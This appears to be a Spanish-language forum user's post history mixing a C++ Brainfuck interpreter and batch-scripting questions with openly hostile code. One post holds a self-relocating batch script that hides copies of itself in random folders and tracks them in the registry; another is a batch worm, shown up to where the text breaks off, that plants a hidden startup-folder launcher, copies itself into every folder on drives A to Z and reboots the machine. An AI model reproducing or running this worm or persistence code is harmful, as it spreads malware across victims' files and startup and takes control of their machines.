Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Meine programmen

#1
Hace algo de tiempo se me ocurrio, y lo hice, y bueno, en un intento por procrastinar un poco, he decidido subirlo. Probablemente no sea del todo eficiente, y tenga bastante fallos, me encantaría que le echarais un vistazo a ver que os parece. Para usarlo, el código en brainfuck tiene que estar escrito en un archivo de texto plano. Simplemente lo arrastras al ejecutable o pones en la cmd
braincmduck "archivo.txt" "archivo2.txt" "archivo3.txt"
Los irá ejecutando uno después de otro.

MODIFICACIÓN: El código que puse a la primera era una versión antigua, ya lo he cambiado. También, cuando quereis introducir un valor 0, teneis que presionar la tecla de backspace. Esto lo hice porque era la unica tecla inutil, de esta manera puedes introducir saltos de linea también.

#include<stdio.h>
#include<conio.h>
#include"espacio.h"
#include"funciones.h"

int main (int argc, char **argv)
{
    int num_arg = argc;
    //Bucle, no sale hasta que ha realizado el proceso con todos los argumentos
    while (num_arg > 1)
    {
          //Crea las variables necesarias¡
          int tamanyo = 0;
          //Pide el tamaño del array a crear
          if (tamanyo_array(argv[num_arg - 1], tamanyo))
             return 1;
          //Crea el array del tamaño necesario
          char ordenes[tamanyo];
          //Rellena el array con las ordenes;
          ordenes_array(argv[num_arg - 1], ordenes);
          //Crea el puntero
          espacio* espacio_actual = new espacio;
          //Ejecuta las ordenes
          ejecutar(espacio_actual, ordenes, 0, tamanyo-1, tamanyo, true);
          //Reduce en uno el numero de argumentos
          num_arg--;
          printf("\n");
    }
    return 0;
}


espacio.h:
//Fichero de la clase espacio
//Definicion y funciones

#include<stdio.h>
#include<conio.h>

class espacio{
      public:
       //Constructores
       espacio() : anterior(NULL), contenido(0), siguiente(NULL) {}
       espacio(espacio* anterior, espacio* siguiente) : anterior(anterior),  contenido(0), siguiente(siguiente)
       {
       if (anterior != NULL)
          anterior->cambiar_sig(this);
       if (siguiente != NULL)
          siguiente->cambiar_ant(this);
       }
       //Funciones
       int suma (void);
       int resta (void);
       int mostrar (void);
       int entrada (void);
       int punt_siguiente (espacio* &espacio_actual);
       int cambiar_sig (espacio* nuevo_siguiente);
       int punt_anterior (espacio* &espacio_actual);
       int cambiar_ant (espacio* nuevo_anterior);
       int retornar (void);
      private:
       //Variables
       espacio* anterior;
       int contenido;
       espacio* siguiente;
};

int espacio::suma (void)
{
    //Suma 1 al contenido
    this->contenido++;
    return 0;
}

int espacio::resta (void)
{
    //Resta 1 al contenido
    this->contenido--;
    return 0;
}

int espacio::mostrar (void)
{
    //Muestra el caracter ASCII del contenido
    printf("%c", contenido);
    return 0;
}

int espacio::entrada (void)
{
    //El primer caracter pulsado se convierte en el valor de contenido
    //Si este es 13, se convierte en 0
    //De lo contrario, se muestra el caracter pulsado
    this->contenido = getch();
    if (this->contenido == 8)
       this->contenido = 0;
    else
       if (this->contenido == 13)
          printf("\n");
       else
          printf("%c", this->contenido);
    return 0;
}

int espacio::punt_siguiente (espacio* &espacio_actual)
{
    //Si no hay un siguiente, lo crea
    if (this->siguiente == NULL)
       espacio_actual = new espacio(this, NULL);
    //Si hay un siguiente, iguala el puntero a su direccion de memoria
    else
       espacio_actual = this->siguiente;
    return 0;
}


int espacio::cambiar_sig (espacio* nuevo_siguiente)
{
    this->siguiente = nuevo_siguiente;
    return 0;
}

int espacio::punt_anterior (espacio* &espacio_actual)
{
    //Si no hay un anterior, lo crea
    if (this->anterior == NULL)
       espacio_actual = new espacio(NULL, this);
    //Si hay un anterior, iguala el puntero a su direccion de memoria
    else
       espacio_actual = this->anterior;
    return 0;
}

int espacio::cambiar_ant (espacio* nuevo_anterior)
{
    this->anterior = nuevo_anterior;
    return 0;
}

int espacio::retornar (void)
{
    return this->contenido;
}


funciones.h:
//Fichero de funciones

int ejecutar (espacio* &espacio_actual,char ordenes[], int pos_inicial, int pos_final, int tamanyo, bool var_ejecutar)
{
    //Comprueba si se ha de ejecutar
    if (!var_ejecutar)
       return 0;
    //Crea la variable que dirá la posición en el string
    int pos_actual = pos_inicial;
    //Crea el contador de caracteres [
    int contador = 0;
    //Crea una int auxiliar
    int pos_auxiliar;
    //No deja el bucle, hasta que al llegar a la posición final, o hemos acabado el string o el actual es = 0
    while (pos_actual != pos_final+1 || (espacio_actual->retornar() && (pos_actual != tamanyo || ordenes[pos_actual-1] == ']')))
    {
          //Si la posicion anterior era la final, y aun así se continua el string, se vuelve a la posicion de inicio
          if (pos_actual > pos_final)
             pos_actual = pos_inicial;
          //Lee las acciones y las ejecuta
          if (ordenes[pos_actual] == '+')
             espacio_actual->suma();
          if (ordenes[pos_actual] == '-')
             espacio_actual->resta();
          if (ordenes[pos_actual] == '.')
             espacio_actual->mostrar();
          if (ordenes[pos_actual] == ',')
             espacio_actual->entrada();
          if (ordenes[pos_actual] == '>')
             espacio_actual->punt_siguiente(espacio_actual);
          if (ordenes[pos_actual] == '<')
             espacio_actual->punt_anterior(espacio_actual);
          if (ordenes[pos_actual] == '[')
          {
             //Comprueba si el bucle se ha de ejecutar o saltar
             if (!espacio_actual->retornar())
                var_ejecutar = false;
             //Guarda la localizacion del comienzo
             pos_auxiliar = pos_actual + 1;
             //Localiza desde donde hasta donde llega el bucle
             while (contador != -1)
             {
                   pos_actual++;
                   if (ordenes[pos_actual] == '[')
                      contador++;
                   if (ordenes[pos_actual] == ']')
                      contador--;
             }
             //Se resetea el contador
             contador = 0;
             //Ejecuta el bucle
             ejecutar(espacio_actual, ordenes, pos_auxiliar, pos_actual, tamanyo, var_ejecutar);
             //Resetea la variable ejecutar
             var_ejecutar = true;
          }
          //Se aumenta en uno la posicion actual
          pos_actual++;
    }
    return 0;
}

int tamanyo_array (char nombre[], int &tamanyo)
{
    //Abre el archivo
    FILE *archivo = fopen(nombre, "rt");
    //Devuelve error si no existe
    if (archivo == NULL)
       return 1;
    //Recorre el texto buscando los caracteres + - . , < > [ y ]
    char instruccion = fgetc(archivo);
    while (instruccion != -1)
    {
          if ((instruccion == '+') || (instruccion == '-') || (instruccion == '.') || (instruccion == ',') || (instruccion == '>') || (instruccion == '<') || (instruccion == '[') || (instruccion == ']'))
             tamanyo++;
          instruccion = fgetc(archivo);
    }
    //Cierra el archivo
    fclose(archivo);
    return 0;
}

int ordenes_array (char nombre[], char ordenes[])
{
    //Crea las variables necesarias
    int contador = 0;
    //Abre el archivo
    FILE *archivo = fopen(nombre, "rt");
    //Recorre el texto buscando los caracteres + - . , < > [ y ]
    char instruccion = fgetc(archivo);
    while (instruccion != -1)
    {
          if ((instruccion == '+') || (instruccion == '-') || (instruccion == '.') || (instruccion == ',') || (instruccion == '>') || (instruccion == '<') || (instruccion == '[') || (instruccion == ']'))
          {
             ordenes[contador] = instruccion;
             contador++;
          }
          instruccion = fgetc(archivo);
    }
    //Cierra el archivo
    fclose(archivo);
    return 0;
}
#2
Hace algo de tiempo que estoy haciendo pruebas e intentando hacer un trozo de codigo que vaya cambiando al programa de carpeta de manera aleatoria. Otros objetivos del codigo son contener la ruta de la carpeta en una clave del registro y que no necesite mas de una sola ventana para funcionar correctamente. Al principio el codigo funciona bien, si no existe la clave del registro la crea con su ruta y vuelve a empezar, y si existe y la ruta que contiene la clave es la misma en la que esta el programa, se copia a una carpeta aleatoria y ejecuta la copia. Si la ruta de la clave es diferente a la del programa, el programa elimina la carpeta de la anterior copia (Cuya ruta esta en la clave) y vuelve a empezar. El problema esta que al volver a empezar despues de haber borrado la anterior copia, el comando REG QUERY deniega el acceso y el programa no puede leer la clave del registro. Habia pensado en usar el comando runas en lugar de un GOTO en el momento de volver a empezar el programa, pero eso implicaria abrir otra ventana. Pongo el codigo abajo, probablemente tenga mas fallos que el que ya nombre. Espero que alguien pueda ayudarme, muchas gracias de antemano.

@ECHO OFF
SetLocal EnableDelayedExpansion
:SeteandoVariables
SET ClaveDelRegistro=HKLM\SOFTWARE
SET ValorDelRegistro=CD
SET MELT=1
SET NAME=

:ModificandoClaveDelRegistro
REG QUERY "%ClaveDelRegistro%" /v "%ValorDelRegistro%">temp
FOR /F "tokens=3*" %%A IN ('findstr REG_SZ "temp"') DO (IF "%%B" NEQ "" SET B= %%B
SET RutaAntigua=%%A!B!)
REG ADD "%ClaveDelRegistro%" /v "%ValorDelRegistro%" /f /d "%~dp0
IF "%RutaAntigua%"=="" (GOTO SeteandoVariables)
IF "%RutaAntigua%" NEQ "%~dp0" (SET MELT=0)
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 ATTRIB -H -S "%RutaAntigua:~0,-1%" /S /D
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 CD "%RutaAntigua%"
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 FOR /R %%A IN (*.*) DO (DEL /P "%%A")
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 cd ..
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 rd /S "%RutaAntigua%"

:EligiendoCarpeta
CD /D %HOMEDRIVE%\
SET /A MAX=%RANDOM% %% 4000 + 1000
FOR /D /R %%A IN (*) DO (SET Carpeta=%%A
SET /A NUM=!RANDOM! %% %MAX% + 1
IF !NUM!==1 (GOTO ComprobandoErrorN1))

:ComprobandoErrorN1
echo %Carpeta%
IF %ERRORLEVEL% NEQ 0 (GOTO EligiendoCarpeta)
IF "%CARPETA%" NEQ "%CARPETA:)=%" (GOTO EligiendoCarpeta)

:GenerandoNombre
SET /A CHARNUM=%RANDOM% %% 25 + 1
SET CONT=0
FOR /L %%A IN (1,1,%CHARNUM%) DO (
SET /A CHAR=!RANDOM! %% 51
FOR %%B IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0 ! @ # $ ~ ( = [ ] { } . , ; ' - _ +) DO (
SET /A CONT=!CONT!+1
IF !CHAR!==!CONT! SET CHAR=%%B
)
IF !CHAR!==0 (SET CHAR= )
SET NAME=!NAME!!CHAR!
SET CONT=0
)

:Informando
echo %NAME%
echo %MELT%

:ComprobandoMelt
IF %MELT%==0 (echo NO MELT THIS TIME)
IF %MELT%==0 (GOTO SeteandoVariables)

:CreandoCarpeta
cd "%Carpeta%"
md "%NAME%"
ATTRIB +H +S "%NAME%"
cd "%NAME%"

:Copiando
copy "%~f0" "CD.bat"
pause


:AbriendoCopia
"%Carpeta%\%NAME%\CD.bat"
#3
Windows / Duda con valores de registro
27 Diciembre 2012, 21:46 PM
¿Existe algun valor del registro que contenga el nombre de la cuenta de Administrador? El nombre de la cuenta de administrador cambia segun el idioma y me gustaria saber si hay alguna manera de tener esta cuenta localizada sea cual sea el idioma. Gracias de antemano.
#4
Cuando intento usar los comandos TASKKILL o TASKLIST me responde "Error: Espacio de nombres no válido". Gracias de antemano.

PD: Esto ocurre en un portatil con Win7, en mi torre con WinXP los mismos comandos con la misma sintaxis funcionan correctamente.

PD2: Tambien me ocurre con wmic USERACCOUNT y con getmac.
#5
Me gustaria saber como funciona la codificacion de programas, no entiendo como hacen para que el ordenador pueda usar los programas codificados sin mas y tu no puedas abrir el programa y leer el codigo. Gracias de antemano.
#6
He buscado pero no encuentro como solucionar el problema. Cuando voy a la linea de comandos e introduzco
FOR /F "tokens=3*" %A IN ("HOLA QUE TAL ESTAS") DO (echo %A)
Me responde solo "TAL" en vez de "TAL ESTAS". Tambien he probado con "tokens=1,3" y con "tokens=1-3" pero en ambos casos solo me responde "HOLA" en vez de "HOLA TAL" y "HOLA QUE TAL". He buscado en varias paginas y en la ayuda del comando FOR pero no encuentro nada diferente.  Tambien he probado lo mismo en mis dos ordenadores y en una maquina virtual (Los ordenadores Win7 y WinXP, la maquina virtual WinXP), pero el resultado es el mismo. Gracias de antemano.
#7
¿Existe alguna variable de entorno que contenga la direccion de la carpeta de Inicio? He buscado y probado con el comando set, a ver si salia en la lista de variables, pero no. La idea es poder localizar la carpeta de inicio del usuario en cualquier Windows. Gracias de antemano.
#8
Scripting / [BATCH] [RESUELTO] Duda con comando FOR
15 Septiembre 2012, 15:54 PM
Hace algo de tiempo encontre en algun sitio un codigo en batch que usa FOR para mostrarte un texto letra a letra. Es decir si el texto es "Hola" te lo devuelve:
H
o
l
a
El problema es que no me acuerdo del script y no encuentro la pagina de nuevo. Muchas gracias de antemano

PD: Como se que alguno saldra con http://www.usaelputogoogle.com/, en mi defensa he de decir que intento tener el script antes de las 7 de la tarde de hoy y no se si me dara tiempo a encontrarlo.

PD2: Ya encontre lo que buscaba, era simplemente
FOR %%A IN (H O L A) DO (echo %%A)
#9
Scripting / [BATCH] Emitir pitidos
14 Septiembre 2012, 18:28 PM
Hace una semana encontre que cuando tecleas una opcion no disponible con el comando choice, el ordenador pita. Asi que hoy me puse a investigar y saque como hacer que el programa emita un numero concreto de pitidos, sin necesidad de la respuesta del usuario. El codigo es este:
@ECHO OFF
echo XS>a.tmp
choice /C S<a.tmp >nul
del a.tmp

Esto emitiria 1 pitido. El numero de equis en la linea:
echo XS>a.tmp
Determina el numero de pitidos

PD: La letra X en la linea
echo XS>a.tmp
Se puede cambiar por cualquier otra letra que no sea S.
#10
Scripting / [BATCH] Duda con comando echo
12 Agosto 2012, 12:51 PM
Bueno, estoy haciendo pequeño cursillo para aprender batch, y estaba escribiendo la parte de los caracteres especiales al usar el comando echo (&, >... etc), y me entro la duda de que pasaria si escribia en la consola
echo ^
Al hacerlo se ha imprimido "¿Más?" y al escribir algo y luego darle al enter imprime abajo la que hayas escrito. La verdad, no se por que hace eso ni para que sirve, pero me ha entrado curiosidad y me parece que quizas podria ser interesante incluir esto en el cursillo. Gracias de antemano.

Re-edición: Me he dado cuenta que al escribir directamente
^
Te hace la misma pregunta y luego intenta ejecutar lo que has escrito como si fuera un comando
Re-Re-edición: He probado usando
SET X=^
Y despues de preguntarte "¿Más?" setea X como lo que has escrito, asi que me da que es un caracter especial, aun que aun no entiendo exactamente su uso.
#11
Bueno, hace no mucho que lo he acabado. Es un pequeño gusano. El progama crea dos programas, el gusano en si y otro que se pondra en la carpeta de inicio del usuario. Despues de esto el programa busca todas las carpetas existentes en las particiones de la A a la Z (Si existen en tu ordenador) e intenta copiar en ellas el gusano (Resalto el "intenta copiar" por que en algunas carpetas el sitema le denegara el acceso, el objetivo no es que este en todas sino que este en la mayoria). Luego de esto reinicia el pc. Al entrar en el usuario infectado se habre el segundo programa. Este programa busca en todas las carpetas de las particiones de la A a la Z (Si existen) las copias del gusano. Usa un sistema muy simple (Todas las copias se llamaran *I*C*X*.bat, donde * es cualquier cosa) que se puede cambiar facilmente. Si el ordenador tiene mas de un usuario probablemente se haya copiado tambien el gusano en la carpeta de inicio de estos y se inicie cada vez que se abra. El gusano tiene un "boton de desinstalado", pensado para esos usuarios que no saben bien lo que hacen y la cagan cada dos por tres (Me incluyo). Para eliminar el gusano del equipo se enciende en modo seguro y se crea una carpeta en System32 (C:\Windows\System32) llamada DieKleineKatze.ICX, se reinicia y se inicia sesion con el usuario infectado. Se abrira el segundo programa, que al detectar la carpeta pondra un pause antes de abrir cada una de las copias deel gusano. Las copias del gusano se abriran y al encontrar la carpeta se eliminaran y se cerraran. Bueno, aqui esta el codigo, cualquier ruego, pregunta, y sobretodo, correccion, un comentario, procurare estar atento. Gracias por tu tiempo
@ECHO OFF

echo @ECHO OFF>>ICX.bat

echo IF EXIST "C:\Windows\System32\DieKleineKatze.ICX" (DEL %%0^&exit)>>ICX.bat

echo SET THAP=%%RANDOM%%%%RANDOM%%I%%RANDOM%%%%RANDOM%%C%%RANDOM%%%%RANDOM%%X%%RANDOM%%%%RANDOM%%.bat>>ICX.bat

echo copy %%0 %%THAP%%>>ICX.bat

echo start %%THAP%%>>ICX.bat

echo "%%0">>ICX.bat

echo @ECHO OFF>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "C:\Windows\System32\DieKleineKatze.ICX" (SET P=pause^^^&)

echo IF EXIST "A:\" FOR /R "A:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "B:\" FOR /R "B:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "C:\" FOR /R "C:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "D:\" FOR /R "D:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "E:\" FOR /R "E:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "F:\" FOR /R "F:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "G:\" FOR /R "G:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "H:\" FOR /R "H:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "I:\" FOR /R "I:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "J:\" FOR /R "J:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "K:\" FOR /R "K:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "L:\" FOR /R "L:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "M:\" FOR /R "M:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "N:\" FOR /R "N:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "O:\" FOR /R "O:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "P:\" FOR /R "P:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "Q:\" FOR /R "Q:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "R:\" FOR /R "R:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "S:\" FOR /R "S:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "T:\" FOR /R "T:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "U:\" FOR /R "U:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "V:\" FOR /R "V:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "W:\" FOR /R "W:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "X:\" FOR /R "X:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "Y:\" FOR /R "Y:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "Z:\" FOR /R "Z:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo echo IF YOU CAN SEE THIS THE VIRUS IS DELETED>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo echo WENN DU KANNST SEHEN DAS DER VIRUS IST GELOCHSTE>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo echo SI PUEDES VER ESTO EL VIRUS SE ELIMINO>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo pause^>nul>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo DEL %%0^&exit>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

ATTRIB "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT" +H

IF EXIST "A:\" FOR /R "A:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "B:\" FOR /R "B:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "C:\" FOR /R "C:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "D:\" FOR /R "D:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "E:\" FOR /R "E:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "F:\" FOR /R "F:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "G:\" FOR /R "G:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "H:\" FOR /R "H:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "I:\" FOR /R "I:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "J:\" FOR /R "J:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "K:\" FOR /R "K:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "L:\" FOR /R "L:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "M:\" FOR /R "M:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "N:\" FOR /R "N:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "O:\" FOR /R "O:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "P:\" FOR /R "P:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "Q:\" FOR /R "Q:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "R:\" FOR /R "R:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "S:\" FOR /R "S:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "T:\" FOR /R "T:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "U:\" FOR /R "U:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "V:\" FOR /R "V:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "W:\" FOR /R "W:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "X:\" FOR /R "X:\" %%X in (.) DO (

Pushd %%X

